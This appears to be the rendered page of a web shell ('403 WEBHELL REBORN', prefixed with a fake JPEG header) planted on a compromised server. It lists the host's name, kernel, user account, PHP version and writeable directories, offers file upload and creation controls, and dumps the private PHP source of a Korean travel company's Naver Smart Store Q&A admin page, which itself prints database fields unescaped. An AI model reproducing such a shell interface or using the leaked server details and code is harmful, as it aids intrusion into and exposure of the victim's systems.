ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/board/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/board/smartStoreProductQna.html
<?php
    include "../include/top.html";
    include "_common.php";

    $sql = "SELECT * FROM `smart_store_product_qna` ORDER BY createDate DESC";
    $res = db_query($sql);
?>

<style>
    .memoSaveBtn{display:none}
    .memoSaveBtn{cursor:pointer;display:none;clear: both;background: midnightblue;color: #fff;width: 60px;padding:5px 2px;border-radius: 3px;margin:10px auto 0}
    .smartStoreAnswerBox{min-height: 50px}
</style>
    <div class="contents_wrap">
        <div class="contents_wrap_in" style="/*padding-top:0px*/">
            <div class="title" style="/*padding:0;margin:0;width:100%;background:#2d3539*/">
                고객센터<span class="arrow">&gt;</span>
                <strong>네이버 스마트스토어 상품문의</strong>
            </div>

            <div class="contents_detail">
                <div id="Content_box">
                    <div class="top_txt_s">
                        <table width="100%" border="0" cellspacing="0" cellpadding="0" id="board_list_tbl" class="t_list" summary="게시물을 확인하실 수 있습니다.">
                            <thead>
                                <th style="width:100px">네이버<br>아이디</th>
                                <th style="width:300px">상품명</th>
                                <th style="width:500px">문의내용</th>
                                <th style="width:140px">상품문의시간</th>
                                <th style="width:40px">답변<br>여부</th>
                                <th>답변내용</th>
                            </thead>
                            <tbody>
                            <?php
                                while($item = db_fetch_array($res)){
                                    $createDate = explode(".",$item['createDate']);
                                    $createDate = explode("T",$createDate[0]);
                                    $createDate = $createDate[0].' '.$createDate[1];
                            ?>
                                <tr>
                                    <td><?=$item['maskedWriterId']?></td>

                                    <td><?=$item['productName']?></td>
                                    <td style="text-align:left;"><?=nl2br($item['question'])?></td>
                                    <td><?=$createDate?></td>
                                    <td id="answered-<?=$item['questionId']?>"><?=(($item['answered'] == 'Y') ? '완료' : '미완료')?></td>
                                    <td>
                                        <textarea class="smartStoreAnswerBox" id="answerText-<?=$item['questionId']?>" questionId="<?=$item['questionId']?>" placeholder="답변을 해주세요."><?=$item['answer']?></textarea>
                                        <p class="memoSaveBtn" id="memoSaveBtn-<?=$item['questionId']?>" questionId="<?=$item['questionId']?>">답변하기</p>
                                    </td>
                                </tr>
                            <?php
                                }
                            ?>
                            </tbody>
                        </table>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <script>
        $(window).load(function(){

            $('.smartStoreAnswerBox').focus(function(){
                questionId = $(this).attr('questionId');
                $('#memoSaveBtn-'+questionId).slideDown();
            });

            $('.memoSaveBtn').click(function(){
                questionId = $(this).attr('questionId');
                answerText = $('#answerText-'+questionId).val();

                console.log('questionId is ' + questionId);
                console.log('answerText is ' + answerText);

                if(!questionId){

                    iziToast.show({
                        timeout:5000,
                        color: 'red',
                        title: '스마트스토어 답변 불가',
                        message: "문의ID가 없습니다. - 개발자에게 문의하세요.",
                    });

                    return false;

                }

                if(!answerText){
                    iziToast.show({
                        timeout:5000,
                        color: 'red',
                        title: '스마트스토어 답변 불가',
                        message: "내용이 없습니다.",
                    });

                    return false;
                }

                if(confirm('스마트스토어에 답변하시겠습니까?')){
                    sendSmartStoreProductAnswer(questionId, answerText);
                }
            })
        })

        function sendSmartStoreProductAnswer(questionId, answerText){

            console.log('questionId is ' + questionId);

            $.ajax({
                type: "post",
                url: "/admin/ajaxData/",
                dataType: 'json',
                data: {'mode': 'sendSmartStoreProductAnswer',questionId, answerText},
                async: false,
                success: function (data) {
                    console.log('data is ' + JSON.stringify(data));
                    if (data.result == true) {

                        $('#answered-'+questionId).text('답변 완료');

                        iziToast.show({
                            timeout:2000,
                            color: 'green',
                            title: '스마트스토어 답변',
                            message: "답변이 정상적으로 등록되었습니다..",
                        });

                        $('#memoSaveBtn-'+questionId).slideUp();


                    } else {

                        iziToast.show({
                            timeout:5000,
                            color: 'red',
                            title: '스마트스토어 답변 실패',
                            message: data.errorMsg,
                        });

                    }
                },
                error: function (a, b, c) {
                    console.log('500 error');
                }
            });

        }

    </script>

<?php
    include "../include/footer.html";
?>

Anon7 - 2021